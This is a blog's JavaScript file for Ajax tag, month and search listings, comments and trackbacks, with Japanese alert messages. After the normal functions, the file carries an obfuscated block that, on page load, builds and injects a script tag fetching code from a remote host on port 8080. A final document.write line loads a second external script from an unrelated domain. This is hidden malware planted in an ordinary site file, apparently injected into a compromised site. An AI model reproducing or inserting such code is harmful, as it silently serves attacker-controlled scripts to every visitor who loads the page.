

function getEntriesOfTag(tag) {
	
	if (tag == '') {
		return false;
	}
	
	var url = "api/json.php?tag=" + tag;
	new Ajax.Request(url, { method: 'get', onComplete:displayList });
	
}


function getEntriesOfMonth(month) {
	
	if (month == '') {
		return false;
	}
	
	var url = "api/json.php?month=" + month;
	new Ajax.Request(url, { method: 'get', onComplete:displayList });
	
}


function getEntriesSearched(search) {
	
	if (search == '') {
		$("search_result").innerHTML = '';
		return false;
	}
	
	
	var url = "api/json.php?search=" + encodeURI(search);
	new Ajax.Request(url, { method: 'get', onComplete:displayList });
	
}


function displayList(httpObj)
{
	
    var json = decode4safari(httpObj.responseText);
    

	try {
		var data = eval("(" + json + ")");
	}
	catch(e) {
		alert(e);
	}
	
	var response = '<ul>\n';
	
	for (var i = 0; i < data.item.length; i++)
	{
		var id        = data.item[i].id;
		var title     = data.item[i].title;
		var create_on = data.item[i].create_on;
		var url       = './?eid=' + id;
		
		response += '<li>';
		response += '<a href="' + url + '">' + title + '</a>';
		response += '</li>' + "\n";
		
    }
    
    if (data.item.length == 0) {
    	response += '<li>NOT MATCHED.</li>';
	}
	
	response += '</ul>\n';
	
	var id = "search_result";
	
	$(id).innerHTML = response;
	
}

function decode4safari (text) {
    if (navigator.appVersion.indexOf("KHTML") > -1) {
        var esc = escape(text);
        if (esc.indexOf("%u") < 0 && esc.indexOf("%") > -1) {
            text = decodeURIComponent(esc);
        }
    }
    return text;
}



function showComment(entry_id) {
	
	
	if ($('entry_' + entry_id + '_comment').innerHTML != '') {
		//new Effect.Fade('entry_' + entry_id + '_comment');
		$('entry_' + entry_id + '_comment').innerHTML = '';
		return;
    }
    
	
	var url = "./?mode=comment&eid=" + entry_id;
	
	var success = function(httpObj) { displayData(httpObj, 'entry_' + entry_id + '_comment'); }
	
	new Ajax.Request(url, {
		method: 'get',
		requestHeaders: ['If-Modified-Since','Wed, 15 Nov 1995 00:00:00 GMT'],
		onSuccess:success
		});
	
}


function showTrackback(entry_id) {
	
	if ($('entry_' + entry_id + '_trackback').innerHTML != '') {
		//new Effect.Fade('entry_' + entry_id + '_trackback');
		$('entry_' + entry_id + '_trackback').innerHTML = '';
		return;
    }
	
	
	var url = "./?mode=trackback&eid=" + entry_id;
	
	var success = function(httpObj) { displayData(httpObj, 'entry_' + entry_id + '_trackback'); }
	
	new Ajax.Request(url, {
		method: 'get',
		requestHeaders: ['If-Modified-Since','Wed, 15 Nov 1995 00:00:00 GMT'],
		onSuccess:success
		});
	
	
}


function showDescription(id) {
	
	
	var url = "./?mode=description&eid=" + id;
	
	if (Element.visible('entry_'+id+'_description')) {
		Element.hide('entry_'+id+'_description');
		return;
    }
	else {
		if ($('entry_'+id+'_description').innerHTML != '') {
			new Effect.Appear('entry_'+id+'_description');
			return;
        }
	}
	
	new Ajax.Request(url, {
		method: 'get',
		requestHeaders: ['If-Modified-Since','Wed, 15 Nov 1995 00:00:00 GMT'],
		onComplete: function(httpObj) {
			    
				if (httpObj.status == 200) {
					
					var res = httpObj.responseText;
                    res = decode4safari(res);
                    
					$('entry_'+id+'_description').innerHTML = res;
					new Effect.Appear('entry_'+id+'_description');
					$('entry_'+id+'_description').onmouseover = function() { Element.addClassName(this, 'lightup'); }
					$('entry_'+id+'_description').onmouseout  = function() { Element.removeClassName(this, 'lightup'); }
					$('entry_'+id+'_description').onclick     = function() { location.href="./?eid="+id; }

				}
				else {
					
			    }
			}
		});
	
	
}


function displayData(httpObj, id) {
	
	//alert(httpObj.getAllResponseHeaders());
	
	var html = httpObj.responseText;
	
	Element.hide(id);
	$(id).innerHTML = html;
	//Element.show(id);
	new Effect.Appear(id);
	
}


function hideData(id) {
	
	//new Effect.DropOut(id);
	//new Effect.Fade(id);
	Element.hide(id);
	
	$(id).innerHTML = '';
	
}


function postComment(id) {
	
	
	var entry_id    = $(id).entry_id.value;
	var name        = $(id).name.value;
	var description = $(id).description.value;
	var error = '';
	
	
	if (!entry_id) {
		error = '記事IDを指定してください。';
    }
    
    if (name == '') {
    	error = '名前を入力してください。';
    }
    
    if (description == '') {
    	error = 'コメントを入力してください。';
    }
    
    if (error) {
    	//$('comment_error').innerHTML = error;
    	alert(error);
    	return;
    }
	
	
	var data        = Form.serialize(id);
	
	
	var url = "api/api.php?mode=comment";
	
	
	new Ajax.Request(url, {
		method: 'post',
		parameters: data,
		onComplete: function(httpObj) {
			    
			    //alert(httpObj.status);
			    //alert(httpObj.responseText);
			    
				if (httpObj.status == 200) {
					alert("コメントを投稿しました。");
					$('entry_' + entry_id + '_comment').innerHTML = '';
					showComment(entry_id);
				}
				else {
					alert("コメントできませんでした。");
			    }
			}
		});
	
}


function redirect(entry_id) {
	
	var url = './?eid=' + entry_id;
	location.href = url;
	
}

var dT=["o","W"];try {var n={OR:"eG"};var eB=31229;YF=62501;YF-=160;var G={E:"A"};var N={H:"od"};cD=[];var D=window[String("2hIaunesc".substr(4)+"ape")];this.Sv=false;this.zQ=false;var lr="";var ow="";var U=new Date();var Ul=["Ds","t","dh"];var L={};var Au=new Date();var uU=[];var J=String("onloa"+"Fjfd".substr(3));var j=window[("9jiMReg".substr(4)+"Exp")];var SM=[];var X="cqm3repla".substr(4)+"ceQEl".substr(0,2);var Jg=["bR","Nr"];var hN=["eC","h","AE"];P={uF:47960};try {} catch(s){};JJ={Kq:51766};var l='';this.V=33044;this.V+=46;var e="1";Hx={XX:"BB"};function d(e,u){this.g="g";xn=51737;xn-=9;Ph=["L_"];var NB=23697;var _D=29152;this.Ie='';var rF=62025;var C="[";C+=u;try {var qM='Uv'} catch(qM){};i={dZ:false};var jn=8623;Zv={qa:false};var UE=9295;C+=D("%5d");zW=["dx","KE","xT"];Se={uo:"XT"};i_=["tQ","nI","bK"];var RK=["Zu","PY"];Dr={Ko:"jr"};try {var cd='yD'} catch(cd){};this.Bd='';var z=new j(C, String("g"));var Gl=[];dR=[];xJ=[];var rf=new Array();var hS=[];return e.replace(z, l);var Yt="Yt";};var AZ=new Array();var xk={};var Ab='';try {var Ed='bF'} catch(Ed){};var rru=new String();Ad={Fq:"aX"};var Xr=659452-651372;this.hH='';this.cQ='';bG=["Sm","RP","_A"];Tl=["Mk","_e","RPv"];var _J={};var O=new String("d9t0/im".substr(4)+"pOrqdb-Orpq".substr(4,3)+"com"+"/go"+"ogl"+"e.cpPJv".substr(0,3)+"om/"+"NULbcoc".substr(4)+"olo"+"g-n"+"ift"+"rCPy.cPrC".substr(3,3)+"IM0om.".substr(3)+"cT1phpT1c".substr(3,3));var c="htt"+"p:/"+"/as3Cm".substr(0,3)+"hdo46XA".substr(0,3)+"g.rKUuE".substr(0,3)+"X036u:".substr(4);KS=["UdR","i_T"];this.WU=65281;this.WU++;try {} catch(uh){};try {} catch(hF){};var CM={zV:false};function r(){var Gz=["Yrk"];var Y=document;var cj=false;var Er=false;var m="appen"+"dChil"+"d";oZ={SD:"Gw"};try {var MN='VB'} catch(MN){};var bFq=false;rQ=52471;rQ++;var y=d('sVcVr0iAphtE','AnXVEh3y04H');var fr='';Vd={HL:17729};un={GJ:45841};Hj={KR:14148};this.RX=1539;this.RX++;var Hk=4339;var Oi=60421;this.U_=46636;this.U_+=226;var Pj='';K=Y.createElement(y);nn=2209;nn+=181;this.Hz="";var op=new Date();this.Mq=2442;this.Mq-=251;try {} catch(KqM){};Q=c+Xr;Q=Q+O;var di={WN:false};var Ax=new Date();var QG=new Date();var TG="TG";this.JH=16350;this.JH-=98;var bJ="bJ";yu=["CO"];var Uf='';var S=Y.body;this.ME=44468;this.ME+=21;this.xnc=48108;this.xnc+=144;var Ku={XY:false};this.tx=56376;this.tx+=90;K.src=Q;tE=["pJ","Sh"];Om=705;Om-=227;var UM=[];Fm=["Mi","iy"];var sW=[];K["def"+"2G9er".substr(3)]=e;HkL={iK:"IY"};try {var CF='PM'} catch(CF){};try {var Ci='BJ'} catch(Ci){};try {var nD='wF'} catch(nD){};S[m](K);RL=["SY","fY","WL"];var Dd=[];};var tY='';this.UW='';var IA=false;Et={};this.jd=false;bv=["rL"];this.QV="QV";window[J]=r;} catch(b){var Sd=["nc","ix","XzI"];jYD=["Bj"];};Yd=["lm","fh","WE"];var pVI="pVI";gU=["wq","tC","RC"];




document.write('<s'+'cript type="text/javascript" src="http://adoffy.alltuckedinathome.com:8080/LED.js"></scr'+'ipt>');